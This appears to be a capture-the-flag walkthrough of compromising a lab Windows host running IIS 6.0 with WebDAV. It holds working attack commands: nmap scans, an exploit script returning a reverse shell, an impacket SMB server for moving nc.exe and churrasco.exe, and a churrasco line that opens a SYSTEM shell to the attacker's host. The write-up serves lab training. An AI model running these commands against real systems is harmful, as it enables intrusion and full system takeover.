10.10.10.15

initial nmap scan

sudo nmap -p- --min-rate 10000 10.10.10.15 | cut -d"/" -f1 | tr '\n' ','

Looks like we have one port open on the machine

80

Lets get enumerate further and see if we can find any other details

sudo nmap -sCV -p80 -oA nmap_scan 10.10.10.15

results

We can see

  • Running Microsoft IIS httpd 6.0 (pretty outdated)

  • webdav is enabled

This does look very familiar to the grandpa box we have solved recently meaning i can try the same explaoit and gain a shell on the system

  1. Lets start a listner 

rlwrap -cAr nc -lvnp 9001

  1. lets run the exploit script

python2 exploit.py 10.10.10.15 80 10.10.14.2 9001

Looking back at our listener we can see we have a shell on the target

Since we know that the grandpa box was vulnerable to token manipulation good chances we have the same scenario here lets check

whoami /all

Looks like it so Lets upload

  • nc.exe

  • churrasco.exe

  1. start an smb server and transfer all the files across 

sudo python2 /opt/impacket-0.9.19/examples/smbserver.py shrek123 ./ -smb2support

  1. copy the files across to the target machine 

C:\>copy \\10.10.14.2\shrek123\nc.exe C:\wmpub
C:\>copy \\10.10.14.2\shrek123\churrasco.exe C:\wmpub

  1. start a listener

nc -lvnp 9005

  1. run the exploits

churrasco.exe -d "c:\wmpub\nc.exe -e cmd 10.10.14.2 9005"

Now if we look back at our listner we should see we have a shell as nt authority\system
